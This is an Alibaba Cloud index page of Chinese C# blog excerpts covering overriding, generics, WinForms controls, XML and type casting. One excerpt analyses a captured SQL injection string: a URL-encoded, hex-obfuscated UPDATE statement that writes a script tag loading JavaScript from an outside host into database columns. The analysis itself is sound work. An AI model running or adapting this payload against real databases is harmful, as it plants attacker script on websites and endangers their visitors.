C#類中虛方法相互調用的潛在重載錯誤

    當我們編寫基類虛方法時,需要注意一個問題,就是基類中虛方法的相互調用,有可能引起衍生類別重載時的潛在錯誤隱患。當然這個錯誤並不是C#語言設計的缺陷,而是一個不可避免的實現而已。當然如果我們是要編寫通用的組建基類,就需要注意一下了。   

“C#類中虛方法相互調用的潛在重載錯誤”相關思考

原文見http://www.cnblogs.com/birdshome/archive/2005/02/25/108866.htmlbirdshome在原文中引用了我給他的一個測試代碼,但那個測試代碼原意只是為了說明在Derived類的Foo中調用base.Foo時,因為多態的關係,Derived的Bar會被調用,而Base類本身的介面設計是有問題的。“其實這確實是物件導向中的一個設計矛盾,等於平白的無故的把一些語義規則強加給了程式員,而且還是相當隱諱的。”在OOD和OOP中,最重要的是Thin

Programming Microsoft Windows with C#

  今天終於讀完Programming Microsoft Windows with C# 影印版,作者是Petzold,出版社為Microsoft Press。  全書一共1290頁,其中本文到1184頁,另有三個附錄和索引。Petzold是Programming Windows的作者,至今已經是第五版了。全書從Windows Forms Control和GDI+兩個方面描述了Windows應用程式的開發,內容詳盡。推薦給進行Windows Forms開發,尤其是經常使用GDI+的程式員閱讀,

#if RELEASE(C# 先行編譯指令)

如果希望代碼在DEBUG模式下使用,但在RELEASE模式下不使用。很自然的會使用#if DEBUG            this.backgroundWorker1.RunWorkerAsync();#endif 但反過來一下,希望在RELEASE下使用,不再DEBUG模式下使用,經過聯絡,我很自然的使用了 #if RELEASE           

c#2.0新特性:(一)泛型(Generics)

為了提高應用程式的效率和可用性,C#2.0引入了泛型概念.C#泛型有些類似C++的摸版。(一)特點        泛型具有以下功能特點:     一、使用泛型可以定義型別安全的資料結構,而無需使用實際的資料類型。     二、通過使用泛型,能夠將資料類型參數化,以此完成代碼重用的目標。這一參數可以應用在類、方法、結構、介面、委託等設計中。     三、泛型可提供編譯期間的類型檢查,減少不必要的顯式類型轉換,減少不必要的裝箱操作,從而提高應用程式的運行效率。(二)泛型集合      泛型常用於集合

VS C# DateTimePicker()的小技巧

今天要改個東西,說是要改個C/S的日期時間框的預設值,查了下MSDN,使用DATETIMEPICKER的format屬相和customformat屬性來實現.最開始自己寫了個測試的程式碼片段:using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Text;using

用托盤控制windows服務的c#實現

http://www.csdn.net/Develop/Read_Article.asp?Id=20312孟子e章給出的vb代碼,現在從這個代碼翻譯成c#,給習慣c#的人蔘考需要注意的是圖片一定需要是ico格式,否則可能會導致托盤的不顯示using System;namespace UBISerialsController{ /// <summary> /// Class1 的摘要說明。 /// </summary> public class

C# WinForm開發系列 – Grid Controls

1.DataGridView  .net 2.0架構內建的網格控制項2.SourceGridSourceGrid 是一個的完全地用C#開發的Windows表單控制項;我的目標是產生一個簡單的但是靈活的(網格)grid,每當使改變一個表格式的一系列的資料時必需是可見的。(註:顯示資料的需求)有許多這系列的控制項可以用, 但是時常是貴的(收註冊費等), 很難符合客戶需求,或者不是和.NET一致的(註:不受.NETframework支援)微軟公司 DataGrid

C# 2.0中的Generic

  今天微軟的一個Developer給我們做了三個講座,其中談到了C# 2.0中的新特性。因為我對C++中的Generic Programming比較熟,因此在他講的時候就想到了幾個問題。   C# 1.0中是不支援方法參數的預設值的,這隻能通過overload來類比支援。同樣,C# 2.0的Generic class中,相信也不會提供模板參數的預設值的功能。而在C++中,提供模板參數預設值是非常常見的,並且能夠協助Client更為簡單的調用Generic class,例如C++ 

推薦使用C++ TR1和boost庫

We already know what some of the new library functionality will be, because it's been specified in a document known as TR1 ("Technical Report 1" from the C++ Library Working Group).  以下是TR1中包含的新的庫The smart pointers  tr1::shared_ptr and tr1::weak_ptr.

分享C# 3.0兩本電子書

各位過年好啊,祝大家新年裡大展宏圖,事業有成,也希望南方能夠儘快從雪災中恢複過來,迎來奧運的春風....VS2008已經正式發布,估計很多朋友已經安裝了...趁熱打鐵,送出兩本C#3.0的電子書,都是今年1月才Release的....OReilly.C.Sharp.3.0.Cookbook.3rd.EditionOReilly.Programming.C.Sharp.3.0.5th.Edition這兩本書應該不用多說,希望能給大家的學習帶來方便:D以前的書因為沒有打包,很多都被RS刪除了,這次壓

單獨談談C#3.0

.NET 3.0其實只是PF, CF, WF和CardSpace組合在一起的一個擴充庫,.NET 2.0的核心部分沒有什麼變化,也不對應新的Visual Studio。.NET 3.5依舊沒有動到.NET 2.0的核心,其新增的核心組件是LINQ,為了實現LINQ,必須要在語言層面上進行改進,於是C#進化到了3.0版。C#3.0依賴的是Visual Studio 2008,或者說是.NET 3.5 SDK中的C# Compiler,很多C# 3.0的特性是由編譯器完成的,C#3.0 +

C# 介面的顯示實現和隱示實現

介面的實現很多人都知道,但介面的實現方式分顯示實現和隱示實現不知道是不是很多人知道呢!但我覺的公司技術部裡很少提到這個,就想起來寫寫這篇blogs。目前常用的方式:public interface IReview{    void GetReviews();}public class ShopReview :IReview{    public void GetReviews(){}}這種方式是隱示實現: IReview rv = new ShopReview();rv.GetReviews(

C# override,new 的區別

本來不想取這個標題的,但考慮到SEO上的問題,我還是決定使用這個title。override和new的區別其他blogs也能搜尋到很多。我這裡將大概意思列舉一下:override重寫虛方法,那麼就只剩下重寫以後的方法;new隱藏基類的方法,那麼基類的方法和當前類的方法同時存在只是被隱藏了這裡就引出了我想表達的意思:物件導向中隱藏、重寫、重載的概念。這幾個概念在我們討論物件導向的時候經常說到。隱藏:new重寫:override重載:其實是一個方法的多種實現方式,但方法的名稱是相同的public

C# 解密一段SQL注入指令碼

大概輸入的一段參數exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20f"1:看到

HowTo:C#效能測試擴充函數

看了ark的文章讓我想起了些這個。可能沒有太多的實際意義,但確是一個不錯的思路。我們平時在使用stopwatch統計時間的時候一般會這樣使用。Stopwatch watch = Stopwatch.StartNew();for (int i = 0; i < runs;

js和c#相互調用

引用: http://blog.csdn.net/doitok/archive/2007/08/14/1742618.aspx如何在C#中訪問JavaScript函數?答案如下:c#代碼中執行javaScript函數:方法一:1、Page.RegisterStartupScript("ggg","<script>SetVisible(1);</script>");方法二:使用Literal類,然後private void Button2_Click(object

c#的is,as,強制類型問題

關於C#的強制類型轉換,as,isAS方式:類型轉換使用選擇Object =>已知參考型別使用as操作符來完成Object =>已知實值型別先使用is操作符來進行判斷,再用類型強轉方式進行轉換已知參考型別之間轉換首先需要相應類型提供轉換函式,再用類型強轉方式進行轉換已知實值型別之間轉換最好使用系統提供的Convert類所涉及的靜態方法比如(FindControl(“txt_Userid”) as TextBox).Text以前的寫法是 ((TextBox) (FindControl(

匯總c#常用函數和方法集

匯總c#常用函數和方法集 3、 變數.ToString() 字元型轉換 轉為字串 12345.ToString("n"); //產生 12,345.00 12345.ToString("C"); //產生 ¥12,345.00 12345.ToString("e"); //產生 1.234500e+004 12345.ToString("f4"); //產生 12345.0000 12345.ToString("x"); //產生 3039 (16進位) 12345.ToString("p");

C#中處理XML文檔的方法

用的是一種很笨的方法,但可以協助初學者瞭解訪問XML節點的過程。   已知有一個XML檔案(bookstore.xml)如下:<?xml version="1.0" encoding="gb2312"?> <bookstore>   <book genre="fantasy" ISBN="2-3631-4">     <title>Oberon's Legacy</title&

總頁數: 4314 1 .... 558 559 560 561 562 .... 4314 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.